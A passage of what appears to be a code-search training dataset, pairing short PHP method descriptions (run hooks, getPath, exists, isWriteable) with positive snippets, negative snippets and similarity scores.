$this->definition['trovequery']['method'];\n if (is_array($this->value)) {\n $this->query->add_where($this->options['group'], $this->definition['trovequery']['arg'], implode($this->value, ','));\n }\n else {\n $this->query->add_where($this->options['group'], $this->definition['trovequery']['arg'], $this->value);\n }\n }\n }" ]
[ "0.7006227", "0.6897946", "0.6893941", "0.6873814", "0.6869947", "0.6842704", "0.6829786", "0.6769616", "0.67670196", "0.6760689", "0.67492837", "0.67421883", "0.6740243", "0.6723818", "0.6664229", "0.6628498", "0.66265285", "0.66145337", "0.6605062", "0.659942", "0.659942", "0.659942", "0.659942", "0.659942", "0.659942", "0.659942", "0.659942", "0.659942", "0.6594724", "0.65907973", "0.65595704", "0.6555274", "0.655281", "0.65421647", "0.6528092", "0.6510478", "0.65028805", "0.6492233", "0.6490421", "0.6477862", "0.6477661", "0.6477661", "0.64691687", "0.64535296", "0.6453081", "0.6452704", "0.6441406", "0.64281005", "0.6421501", "0.6417312", "0.64121747", "0.64079", "0.6405311", "0.6400475", "0.63891387", "0.63743603", "0.6373378", "0.63676876", "0.63649064", "0.6363111", "0.63434964", "0.63433486", "0.63314897", "0.632967", "0.63293", "0.63290167", "0.6325142", "0.63155466", "0.6313434", "0.6309665", "0.6304597", "0.6296562", "0.6291395", "0.6281047", "0.6279784", "0.62780565", "0.627557", "0.627557", "0.627557", "0.62754804", "0.6274705", "0.62720895", "0.6270132", "0.6265423", "0.626449", "0.62606317", "0.6256071", "0.6248466", "0.6248466", "0.6248466", "0.6248466", "0.62365085", "0.6228352", "0.62275183", "0.62245554", "0.6218834", "0.6218792", "0.6214695", "0.6213319", "0.620265", "0.6201284" ]
0.0
-1
This method will be execute after run the main process
public function hook_after($postdata,&$result) { }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function after_run() {}", "public function after_run(){}", "protected function afterProcess() {\n }", "protected function _postExec()\n {\n }", "public function run()\n\t{\n\t\t//\n\t}", "public function postExec()\n {\n }", "public function run()\n {\n }", "protected function main()\n /**/\n {\n parent::run();\n }", "public static function run() {\n\t}", "protected function finish() {}", "public function run(){}", "public function run() {}", "protected function _exec()\n {\n }", "protected function doExecute()\n\t{\n\t\t// Your application routines go here.\n\t}", "public abstract function afterExec();", "public static function post_process() {}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "public function run()\n {\n \n }", "public function run()\n {\n \n }", "public function run()\r\n {\r\n\r\n }", "public function run() {\n }", "public function run()\n {\n //\n $this->grabData();\n }", "public function run() {\n }", "protected function after(){}", "protected function after(){}", "protected function after(){}", "public function run()\n {\n //\n }", "public function run()\n {\n //\n }", "public function run()\n {\n //\n \n }", "public function onRun()\n {\n }", "public function process() {}", "public function run()\n {\n }", "public function run()\n {\n }", "public function run()\n {\n }", "public function process() {}", "public function process() {}", "public function process() {}", "public function postProcess();", "public function process() {\n }", "public function process() {\n }", "public function process() {\n }", "public function extProc_finish() {}", "public function extProc_finish() {}", "public function run()\n {\n\n }", "public function run()\n {\n\n }", "public function run()\n {\n\n }", "public function preExec()\n {\n }", "public function RunDataProcess()\n {\n // TODO: Implement RunDataProcess() method.\n }", "public function after() {}", "public function run()\n {\n $this->initiateData();\n }", "public function run()\n {\n $this->initiateData();\n }", "public function proceed()\n {\n }", "protected function process()\n {}", "public function execute()\n\t{\n\t\t$this->run();\n\t}", "protected function _after()\n\t{\n\t\t\n\t}", "protected function _after()\n\t{\n\t\t\n\t}", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function run();", "public function preExecute(){\n\n\t\n\t}", "public function execute()\n {\n $this->run();\n }", "protected function after_execute() {\n// \t$this->add_related_files('mod_vcubeseminar', 'intro', null);\n// \t$this->add_related_files('mod_vcubeseminar', 'vcubeseminar', null);\n }", "protected function _after() {\n\t\t$this->startup = null;\n\t}", "protected function _afterInit() {\n\t}", "public function finish() {}", "public function finish() {}", "public function finish() {}", "public function finish() {}", "public function finish() {}", "public function finish() {}", "public function finish() {}", "public function finish() {}", "public function run()\n {\n\n parent::run();\n\n }", "protected function _after()\n {\n }", "function main()\r\n {\r\n $this->setOutput();\r\n }", "protected function _preExec()\n {\n }", "public function run()\n\t{\n\t\t$this->upgrade_to_1_1_0();\n\t}", "protected abstract function run();", "function after_process() {\n return false;\n }", "public function run(): void\n {\n //\n }", "public function __after()\t{\n\t}", "function run()\r\n {\r\n }", "protected function onFinishSetup()\n {\n }", "public function _postSetup()\n {\n }", "public function run() {\n $this->cleanupFilesystem();\n $this->downloadCommunityRegistry();\n $this->downloadAllCommunityDefinitions();\n $this->saveCommunicationDetails();\n }" ]
[ "0.7691825", "0.76911443", "0.73500884", "0.71664333", "0.704315", "0.69860375", "0.69421095", "0.6937926", "0.6895388", "0.6863637", "0.6802592", "0.6790873", "0.6781017", "0.67638224", "0.6736275", "0.67171925", "0.66478384", "0.66478384", "0.66478384", "0.66478384", "0.6602739", "0.6602739", "0.6588956", "0.65842086", "0.6567963", "0.65253806", "0.6522067", "0.6522067", "0.6522067", "0.6521648", "0.6521648", "0.6509471", "0.6495522", "0.6483333", "0.6482919", "0.6482919", "0.6482919", "0.64823925", "0.64823925", "0.64823925", "0.6469368", "0.64326704", "0.64326704", "0.64326704", "0.6399286", "0.639882", "0.6386108", "0.6386108", "0.6386108", "0.6383965", "0.63770205", "0.63753814", "0.63718534", "0.63718534", "0.63666826", "0.63619584", "0.63519996", "0.63449204", "0.63449204", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63403016", "0.63368046", "0.63322246", "0.6328785", "0.6322282", "0.6303891", "0.630076", "0.63001907", "0.62990624", "0.62990624", "0.62990624", "0.62990624", "0.62990624", "0.6298699", "0.62985635", "0.6277049", "0.6258933", "0.6254079", "0.625401", "0.6241541", "0.62402", "0.62376016", "0.6234749", "0.6228485", "0.6217339", "0.62170625", "0.6216722" ]
0.0
-1
Get path to the resource.
public function getPath(): string;
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function get_path(): string\n {\n return $this->path;\n }", "public function get_path() : string\n {\n return $this->path;\n }", "public function getPath(): string\n {\n return $this->path;\n }", "public function getPath(): string\n {\n return $this->path;\n }", "public function getPath(): string\n {\n return $this->path;\n }", "public function getPath(): string\n {\n return $this->path;\n }", "public function getPath(): string\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->__get(\"path\");\n }", "public function getPath(): string\r\n {\r\n return $this->path;\r\n }", "public function getPath(): string\r\n {\r\n return $this->path;\r\n }", "public function getResourcePath();", "public function getPath(): string {\n\t\treturn $this->path;\n\t}", "public function getPath() : string\n {\n return $this->path;\n }", "public function getPath() : string\n {\n return $this->path;\n }", "public function get_path() {\n\t\treturn $this->path;\n\t}", "public function get_path() {\n\t\treturn $this->path;\n\t}", "public function getFullPath()\n {\n $assetstore = $this->get('assetstore');\n\n return $assetstore->getPath().'/'.$this->getPath();\n }", "public function path(): string\n {\n return $this->path;\n }", "public function path()\n {\n $prefix = (isset($this->attributes[self::PREFIX]) ? $this->attributes[self::PREFIX] : '');\n\n return $prefix . $this->path;\n }", "public function getPath() : string\n {\n return $this->path;\n }", "public function getPath() : string\n {\n return $this->path;\n }", "function getPath(): string;", "public function path(): string\n {\n return components_path($this->name);\n }", "private function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n\n if (empty($this->_path))\n return '';\n\n return $this->_path;\n }", "public function getResource(): string\n {\n return $this->resource;\n }", "public function getResource(): string\n {\n return $this->resource;\n }", "public function getPath()\r\n\t{\r\n\t\treturn $this->path;\r\n\t}", "public function getPath()\n {\n\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function GetPath()\n\t{\n\t\tif (!empty($this->path))\n\t\t\treturn $this->path;\n\n\t\treturn '';\n\t}", "public function getPath()\n {\n $controller = str_replace('\\\\', '/', $this->get('controller'));\n\n $path = (empty($controller) ? '' : $controller . '/') . $this->get('name') . '.' . $this->get('engine');\n\n return empty($this->parameters['bundle']) ? $path : '@' . $this->get('bundle') . '/resource/view/' . $path;\n }", "public function getPath()\r\n {\r\n return $this->path;\r\n }", "public function getPath()\r\n {\r\n return $this->path;\r\n }", "public function getPath()\n {\n return $this->_path;\n }", "public function getPath()\n {\n return $this->_path;\n }", "public function getPath()\n {\n return $this->_path;\n }", "protected function getPath () {\n\tglobal $Config;\n\treturn $Config->get('dir_root').'/'.$this->dir.'/'.$this->name;\n }", "public function getPath() {\n\t\treturn $this->path;\n\t}", "public function getPath() {\n\t\treturn $this->path;\n\t}", "public function path()\n {\n return $this->_path;\n }", "public function getPath()\n\t{\n\t\treturn $this->path;\n\t}", "public function getPath()\n\t{\n\t\treturn $this->path;\n\t}", "public function getPath()\n\t{\n\t\treturn $this->path;\n\t}", "public function getPath()\n\t{\n\t\treturn $this->path;\n\t}", "public function getPath()\n\t{\n\t\treturn $this->_path;\n\t}", "public function getPath()\n\t{\n\t\treturn $this->_path;\n\t}", "public function path()\n {\n return $this->path;\n }", "public function getPath() {\n\n return $this->path;\n }", "public function getPath() {\n return $this->path;\n }", "public function getPath() {\n return $this->path;\n }", "public function getPath() {\n return $this->path;\n }", "public function getPath() {\n return $this->path;\n }", "public function getPath() {\n return $this->path;\n }", "public function getResource()\n {\n $path = $this->getPath();\n $query = isset($this->urlParts['query']) ? '?' . $this->urlParts['query'] : '';\n\n return $path . $query;\n }", "public function path() {\n\t\treturn $this->_path;\n\t}", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath()\n {\n return $this->path;\n }", "public function getPath() {\n return $this->path;\n }", "public function getPath()\n\t{\n\t\t\n\t\t$this->setPath();\n\t\treturn $this->path;\n\t\t\n\t}", "function getPath( )\r\n\t{\r\n\t\treturn $this->path;\r\n\t}", "public function getPath() {}", "public function getPath() {}", "public function getPath() {}", "public function getPath() {}", "public function getPath() {}", "public function getPath() {}" ]
[ "0.77377605", "0.773381", "0.7633926", "0.7633926", "0.7633926", "0.7633926", "0.7633926", "0.7623426", "0.7611898", "0.7611898", "0.7603768", "0.75710136", "0.75417644", "0.75417644", "0.7517796", "0.7517796", "0.74850076", "0.7477579", "0.74655235", "0.7458967", "0.74547076", "0.7448618", "0.7434689", "0.73944616", "0.73897344", "0.7385893", "0.7385893", "0.73814684", "0.7367514", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.7363837", "0.73545206", "0.73498815", "0.734826", "0.734826", "0.73434126", "0.73434126", "0.73434126", "0.7341763", "0.73410916", "0.73410916", "0.73361063", "0.7328604", "0.7328604", "0.7328604", "0.7328604", "0.7325777", "0.7325777", "0.7324861", "0.73208517", "0.73115045", "0.73115045", "0.73115045", "0.73115045", "0.73115045", "0.7307298", "0.7298508", "0.728755", "0.728755", "0.728755", "0.7282159", "0.72809756", "0.7272325", "0.7257355", "0.7257355", "0.7257355", "0.7257355", "0.7257352", "0.7255454" ]
0.745582
25
Returns true, if the resource exists.
public function exists(): bool;
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function resourceExists(): bool\n {\n $location = $this->route()->parameter('location');\n\n return $location instanceof Location && $location->exists;\n }", "public function exists() {\n\t\tif ( ! $this->api_connected() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->api->get( $this->_resource );\n\t\treturn $this->api->success();\n\t}", "public function resourceExists($resource);", "public function exists($resource);", "public function exists()\n {\n return true;\n }", "public function exists()\n {\n return false;\n }", "public function exists()\n\t{\n\t\treturn $this->get('fullPath') && file_exists($this->get('fullPath'));\n\t}", "function exists() {\n\t\tif ($this->exists) return true;\n\t\treturn false;\n\t}", "public function exists() {\n\t\ttry {\n\t\t\t$this->load();\n\t\t\treturn true;\n\t\t} catch ( \\Exception $e ) {\n\t\t\treturn false;\n\t\t}\n\t}", "function exists()\n {\n return false;\n }", "public function isExists(){\n\t\treturn file_exists($this->getFullName());\n\t}", "public function exists() {}", "public function exists()\r\n {\r\n }", "public function exists()\n {\n }", "public function exists()\n {\n }", "public function exists()\n\t\t{\n\t\t\t$path = $this->get_path();\n\n\t\t\treturn $path && file_exists($path);\n\t\t}", "public function exists()\n {\n return file_exists($this->path);\n }", "public function exists() : bool\n\t{\n\t\treturn (file_exists($this->path));\n\t}", "public function exists(): bool\n {\n return file_exists($this->path);\n }", "public function exists() {\n\n return file_exists($this->path);\n }", "public function exists()\n {\n return file_exists($this->getPath());\n }", "public function has(Resource $resource);", "public function exists(): bool {\n return property_exists($this, 'exists') && $this->exists;\n }", "public function Exists();", "protected function exists() {}", "public function exists()\n {\n return ($this->id) ? true : false;\n }", "public function exists();", "public function exists();", "public function exists();", "function exists() {\n\t\treturn is_file($this->path);\n\t}", "public function exists() {\n\t\treturn $this->_exists;\n\t}", "public function exists()\n {\n if (empty($this->filename)) {\n return false;\n }\n\n // Since we only have a valid path when the file exists this is a good test.\n $filename = $this->getFullPath();\n\n if (!empty($filename)) {\n return true;\n }\n // else\n return false;\n }", "public function exists(): bool\n {\n return file_exists($this->directory->getPath().'/'.$this->filename);\n }", "public function hasResource($id) {\r\n\t\treturn isset ( $this->resources [$id] );\r\n\t}", "public function exists()\n {\n return $this->exists;\n }", "public function exists(): bool\n {\n return $this->fileExists;\n }", "public function exists(){\n\n\t\treturn (!empty($this->_data)) ? true : false;\n\n\t}", "public function exists()\n\t{\n\t\treturn is_file($this->_path);\n\t}", "public function exists()\n {\n $this->clearStatCache();\n\n return (file_exists($this->path) && is_file($this->path));\n }", "public function isExists()\n\t{\n\t\treturn $this->storage->isExists() && $this->dictionary->isExists();\n\t}", "public function exists(): bool\n {\n return is_file($this->path);\n }", "public function exists(): bool\n {\n if ($this->shouldEmulateExecution()) {\n return false;\n }\n\n return $this->one() !== null;\n }", "public function exists($key){\n\n //get exists\n if($this->client->exists($key)){\n return true;\n }\n return false;\n }", "function exists()\n {\n return is_file($this->getPath());\n }", "public function hasResourceName(){\n return $this->_has(1);\n }", "public function hasResourceName(){\n return $this->_has(1);\n }", "public function hasResourceName(){\n return $this->_has(1);\n }", "public function exists() {\n\t\treturn !is_null($this->id);\n\t}", "public function exists()\n {\n if (get_post($this->id)) {\n return true;\n }\n\n return false;\n }", "public function exists(){\n\t\t$fichName = $this->getPath();\n\t\treturn file_exists($fichName);\n\t}", "public function exists()\n {\n return ($this->id > 0) ? true : false;\n }", "public function exists(){\n\t\treturn ($this->count() > 0);\n\t}", "public function exists()\n {\n try {\n $this->connection->getJob($this->identity + ['fields' => 'jobReference']);\n } catch (NotFoundException $ex) {\n return false;\n }\n\n return true;\n }", "public function exists()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\t$this->getModel();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tcatch(ECash_Application_NotFoundException $e)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "public function exists() {\n\n\t\tif ($this->fileInfo->isFile() && $this->fileInfo->isReadable()) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "public function exists() {\n return $this->shareData !== false;\n }", "public function exists()\n {\n return $this->count() > 0;\n }", "public function hasAclResource()\n {\n return array_key_exists(EntityDefinitionConfig::ACL_RESOURCE, $this->items);\n }", "private function check_exists()\n\t{\n\t\t// so this is sufficient to test for existence in accordance with\n\t\t// File::check_exists()\n\t\t// However, getFileInfo() is slow, since it involves a DB query,\n\t\t// so we'll cache the result in $this->exists and test that first...\n\t\tif ( $this->exists )\n\t\t\treturn true;\n\t\telse $this->getFileInfo();\n\t}", "public function isExist(){\n\t\t\tif(file_exists($this->_nameFile)){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "public function exists()\n {\n return $this->adapter->isFile($this->path, true);\n }", "public function exists()\n {\n try {\n ($this->engine->getResolveTemplatePath())($this->name);\n return true;\n } catch (TemplateNotFound $e) {\n return false;\n }\n }", "abstract public function exists();", "abstract public function exists();", "public function templateExists(): bool\n {\n return isset($this->templatePath);\n }", "public function exists()\n\t{\n\t\ttry\n\t\t{\n\t\t\t$this->check_exists();\n\t\t\treturn true;\n\t\t}\n\t\tcatch(DatabaseFileException $e)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "public function exists(string $path): bool;", "public function exists(string $path): bool;", "public function exists()\n {\n try {\n $result = $this->soapClient->templateExists(['filename' => $this->getName() ]);\n\n return ( bool ) $result->TemplateExistsResult;\n } catch ( SoapException $ex ) {\n throw new StatusException('Error while verifying the existence of a remote template' , $ex);\n }\n }", "public function fileExists() {\r\n return file_exists($this->pathname);\r\n }", "function exists() {\n\t return !empty($this->id);\n\t}", "public function has($path)\n {\n if ($this->client->doesObjectExist($this->bucket,$path)) {\n return true;\n }\n return false;\n }", "public function exist()\n {\n return ($this->count() > 0);\n }", "function exists() {\n \n return !empty($this->cache);\n \n }", "public function localFileExists()\n {\n return file_exists($this->GetRealPath());\n }", "public function isAvailable() {\n $path = $this->path();\n return file_exists($path);\n }", "public function has(UriInterface $uri): bool;", "function getFileExists() {\n\t\treturn file_exists($this->getFilename());\n\t}", "public function objectExists()\n {\n if ($this->data()->useObjectExistsHandling()) {\n return singleton($this->CreateType)->objectExists($this->request->postVars(), $this->pid);\n }\n }", "public function exists(string $filename) : bool;", "public function is_exist_file() {\r\n\t\treturn file_exists( $this->get_path( 'file' ) );\r\n\t}", "static function exists($id) {\n $result = self::get($id);\n if (count($result) > 0) return true;\n return false;\n }", "public function exists($key): bool;", "public function exists(string $key): bool\n {\n }", "private function _checkExist()\n {\n if (!($validation = IO::required($this->data, ['videoLink']))['valid']) {\n throw new InvalidParameterException($validation['message']);\n }\n\n $resource = new Resource($this->data);\n\n $sql = \"SELECT COUNT(*) FROM `resource` WHERE `video_link` = :video_link\";\n\n $stmt = $this->pdo->prepare($sql);\n\n $stmt->execute(['video_link' => $resource->getVideoLink()]);\n\n return $stmt->fetchColumn() != 0;\n }", "public function exists($file) {\n\t\treturn false;\n\t}", "public function hasResource($name)\n {\n if (strtolower($name) == 'zf2') {\n return parent::hasResource('zf2');\n }\n $service = $this->resolveResourceToServiceName($name);\n $serviceLocator = $this->getResource('zf2')->getServiceManager();\n\n // return registered resource or proxy to service locator to allow\n // greater backwards compatibility while utilizing service locator\n return parent::hasResource($name) || $serviceLocator->has($service);\n }", "public function exists() {\n\t\treturn file_exists($this->_pidFile);\n\t}", "function exists()\r\n\t{\r\n\t\treturn ( ! empty($this->id));\r\n\t}", "public function exists()\n {\n // for us its the same\n return $this->isHit();\n }", "public function exists()\n {\n return !empty($this->ID);\n }", "public function isCreateResource();", "public function __isset($key)\n {\n return isset($this->resource->{$key});\n }", "public function exists($id) {\n $path = $this->options['resource'];\n $path .= '/exists?data.' . $this->options['id_field'] . '=' . $id;\n $response = $this->get($path);\n return !!$response['body']['_id'];\n }", "public function exists()\r\n {\r\n global $g_comp_database_system;\r\n\r\n $l_sql = \"SELECT * FROM isys_report WHERE \" . \"(isys_report__title = '\" . $g_comp_database_system->escape_string($this->m_title) . \"');\";\r\n\r\n $l_resource = $g_comp_database_system->query($l_sql);\r\n if ($g_comp_database_system->num_rows($l_resource) > 0)\r\n {\r\n return true;\r\n }\r\n else\r\n {\r\n return false;\r\n } // if\r\n }", "public function has(string $path): bool;", "public function has(string $path): bool;", "function cacheObjectExists ()\n {\n return is_file($this->cacheObjectId);\n }" ]
[ "0.8359643", "0.8337119", "0.8310935", "0.8224383", "0.8023318", "0.79177225", "0.787054", "0.78596", "0.7854187", "0.7678451", "0.7563057", "0.75580704", "0.75343704", "0.75166714", "0.75165373", "0.75095725", "0.75059015", "0.74891037", "0.7469743", "0.74666995", "0.743687", "0.7409056", "0.73783964", "0.735647", "0.73497146", "0.73421586", "0.72925913", "0.72925913", "0.72925913", "0.72317237", "0.72245455", "0.72245324", "0.7222631", "0.7216684", "0.71875507", "0.71699613", "0.716187", "0.7152138", "0.71458715", "0.7138809", "0.7138142", "0.713271", "0.71279156", "0.7106691", "0.7098753", "0.7098753", "0.7098753", "0.7091996", "0.7089442", "0.70543313", "0.70495075", "0.7036388", "0.70254934", "0.7007243", "0.69904816", "0.69813585", "0.69452786", "0.6940466", "0.6939702", "0.69285774", "0.6926837", "0.6876011", "0.68674684", "0.68674684", "0.68189263", "0.68179953", "0.68053", "0.68053", "0.68026674", "0.6796313", "0.6789159", "0.6787582", "0.67636096", "0.6747952", "0.67447585", "0.67428434", "0.67386574", "0.6737721", "0.6733372", "0.6725587", "0.6720466", "0.6719966", "0.67118835", "0.6704116", "0.6702183", "0.6694338", "0.66925216", "0.6689267", "0.6679247", "0.66769654", "0.66751516", "0.6674794", "0.66715235", "0.6670753", "0.6654433", "0.665202", "0.665202", "0.66507494" ]
0.77750295
11
Returns true, if the resource is writeable.
public function isWriteable(): bool;
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function canWrite(){\n\t\treturn is_writable($this->file);\n\t}", "public function isWriteable()\n {\n $this->is_writable = null;\n\n if ($this->exists === true) {\n } else {\n return;\n }\n\n if ($this->is_file === true) {\n } else {\n return;\n }\n\n $w = substr($this->temp_files[$this->path]->permissions, 2, 1);\n\n if ($w == 'w') {\n $this->is_writable = true;\n } else {\n $this->is_writable = false;\n }\n\n return;\n }", "public function can_write () {\r\n\r\n return $this->permissions[\"W\"] ? true : false;\r\n\r\n }", "function is_writeable(ResourceInterface $resource): bool\n {\n $modes = [\n 'w' => true,\n 'w+' => true,\n 'rw' => true,\n 'r+' => true,\n 'x+' => true,\n 'c+' => true,\n 'wb' => true,\n 'w+b' => true,\n 'r+b' => true,\n 'x+b' => true,\n 'c+b' => true,\n 'w+t' => true,\n 'r+t' => true,\n 'x+t' => true,\n 'c+t' => true,\n 'a' => true,\n 'a+' => true,\n 'a+b' => true,\n ];\n\n if ($resource->eof()) {\n return false;\n }\n\n $metadata = stream_get_meta_data($resource->getResource());\n\n return isset($modes[$metadata['mode']]);\n }", "public function isWriteable(string $path): bool;", "public function writable()\n {\n return is_writable($this->path);\n }", "public function isWritable()\n {\n return $this->writable;\n }", "function writable() {\n\t\treturn is_file($this->path) && is_writable($this->path);\n\t}", "public function isWritable()\n {\n return $this->adapter->isWritable($this->path);\n }", "public function isWritable() {\n\t\treturn $this->writable;\n\t}", "public function isWritable(): bool\n {\n return is_writable($this->directory->getPath().'/'.$this->filename);\n }", "public function isWritable() : bool\n\t{\n\t\tif (!self::exists($this->path))\n\t\t\treturn false;\n\t\t\n\t\treturn (is_writable($this->path));\n\t}", "public function canWriteFiles()\n {\n return is_writable(__FILE__);\n }", "public static function isWriteable(string $path) : bool\n {\n return (new File($path))->isWriteable();\n }", "public function isWritable()\n\t{\n\t\t$this->tossIfException();\n\t\t\n\t\treturn is_writable($this->directory);\n\t}", "public function isWritable()\n {\n if (!is_writable($this->root)) {\n return false;\n }\n return true;\n }", "public function isWriteOnly(): bool\n {\n return $this->getPhanFlagsHasState(Flags::IS_WRITE_ONLY);\n }", "public function writable()\n\t{\n\t\tif($this->exists()) // file exists check if writable\n\t\t{\n\t\t\treturn parent::writable();\n\t\t}\n\n\t\t// new file, check if directory writable\n\t\treturn $this->__getDir()->writable();\n\t}", "public function allowsWrite()\n {\n if ($this->plus) {\n return true;\n }\n\n return $this->base != 'r';\n }", "public function is_writable( $file ) {\n\t\treturn true;\n\t}", "function hasWriteAccess() {\r\n\t\treturn (\r\n\t\t\t\t$this->annonce->associationID == $this->extendedProfile->userID ||\r\n\t\t\t\t$this->extendedProfile instanceof ProfileNiceBenevolat);\r\n\t}", "public function isWritable() {}", "public function isWritable() {}", "public function isWritable() {}", "public function isWritable() {}", "public function isWritable()\n {\n if (in_array($this->mode, ['r+', 'w', 'w+', 'a', 'a+', 'x', 'x+', 'c', 'c+'])) {\n return true;\n }\n return false;\n }", "public function isWritable()\n {\n return false;\n }", "protected function isRepositoryWritable()\n {\n return $this->getRepository() instanceof WritableInterface;\n }", "public function isWriteProtected() {\n\t\treturn $this->getWriteProtected();\n\t}", "public function isWritable()\n {\n }", "public function isWritable(string $path): bool;", "public function is_writable($file);", "public function hasWriteReference(): bool\n {\n return $this->getPhanFlagsHasState(Flags::WAS_PROPERTY_WRITTEN);\n }", "public function isWritable()\n {\n return true;\n }", "public function is_writable($path)\n {\n }", "public function is_writable($path)\n {\n }", "public function is_writable($path)\n {\n }", "public function is_writable($path)\n {\n }", "public function is_writable($path)\n {\n }", "public static function canWrite(string $path) : bool\n {\n return (new File($path))->canWrite();\n }", "function writable($file)\n{\n\treturn (file_exists($file) && is_writable($file));\n}", "public function isWritable() {\n\n $folder = new Folder($this->root());\n\n if(!$folder->isWritable()) return false;\n\n foreach($folder->files() as $f) {\n if(!$f->isWritable()) return false;\n }\n\n return true;\n\n }", "public function hasWritePending();", "function isWritable() ;", "public function isWritable()\n {\n if (!$this->metadata) {\n return false;\n }\n\n $mode = $this->metadata['mode'];\n\n return (\n strstr($mode, 'x')\n || strstr($mode, 'w')\n || strstr($mode, 'c')\n || strstr($mode, 'a')\n || strstr($mode, '+')\n );\n }", "public static function writeable($path) {\n\t\tif(self::has_directory($path) || self::has_file($path)) {\n\t\t\treturn is_writable($path);\n\t\t} else {\n\t\t\tdie(\"Disk::writeable: Path is not a Directory or File: \".$path);\n\t\t}\n\t}", "public function isSeekable()\n {\n // if resource is seekable\n if ($this->traitIsSeekable())\n {\n // seeking write streams is only possible if\n // the internal buffer is flushed and empty\n return ($this->writable && $this->data === '');\n }\n return false;\n }", "public static function isWritable($path)\n\t{\n\t\treturn is_writable($path);\n\t}", "public function isWritable(string $path): bool\n {\n return is_writable($path);\n }", "private function isWritable(): bool\n {\n return BackendExtensionsModel::isWritable(FRONTEND_PATH . '/Themes');\n }", "private function isWritable ($file)\n {\n return is_writable($file);\n }", "public static function isAllowedWrite(): bool\n {\n if (!isset(self::$definition)) {\n self::$definition = Splash::object(\"Order\")->description();\n }\n if (is_array(self::$definition) && !empty(self::$definition[\"allow_push_updated\"])) {\n return true;\n }\n\n return false;\n }", "public function writeable();", "final public static function isWritable($path, $writable = TRUE){\n \n $return = is_writable($path) ? $writable : !$writable;\n\n return (bool) $return;\n }", "public function isWritable() {\n throw new Exception('Not implemented yet');\n }", "public function write(): bool\n {\n }", "public function write(): bool\n {\n }", "public function canWriteConfiguration() {}", "function are_paths_writable()\n {\n $retval = TRUE;\n $path = $this->object->param('path');\n if (!is_array($path)) {\n $path = array($path);\n }\n foreach ($path as $p) {\n if (!is_writable($p)) {\n $retval = FALSE;\n break;\n }\n }\n return $retval;\n }", "public function canWrite() {\n\t\tif (empty($_SESSION['tokens']['fb'])) return false;\n\t\tif (empty($_SESSION['user']['fb']['permissions'])) return false;\n\t\treturn in_array('publish_actions', $_SESSION['user']['fb']['permissions']);\n\t}", "public function checkIsWritable($path);", "public static function isWritable($path) {\n clearstatcache();\n return is_writable($path);\n }", "protected function canWrite($path)\n {\n if (is_writable($path)) {\n return true;\n }\n\n $current = $path;\n while (!file_exists($current) && ($parent = dirname($current)) && $parent !== $current) {\n if (is_writable($parent)) {\n return true;\n }\n $current = $parent;\n }\n\n return false;\n }", "public function isWritable()\n {\n // Create temp file\n $path = tempnam(sys_get_temp_dir(), 'test');\n\n // Get temp file name\n $fileName = basename($path);\n\n // Copy temp file to remote\n if (ftp_put($this->handle, $fileName, $path, FTP_ASCII)) {\n // Remove temp file\n ftp_delete($this->handle, $fileName);\n return true;\n }\n\n return false;\n }", "function win_is_writable($path)\n {\n }", "function wp_is_writable($path)\n {\n }", "function isWritable($path)\n\t{\n\t\tif ($path == PUN_ROOT.'.')\n\t\t\treturn $this->isWritable(PUN_ROOT);\n\n\t\treturn is_writable($path);\n\t}", "public function can_read () {\r\n\r\n return $this->permissions[\"R\"] ? true : false;\r\n\r\n }", "private function is_writable($file) {\r\n\t\tif (file_exists($file) || is_dir($file)) { return is_writable($file); } else { return is_writable(dirname($file)); }\r\n\t}", "protected function isWriteable($aFile) {\n if (!is_array($aFile) || !isset($aFile['dst'])) {\n 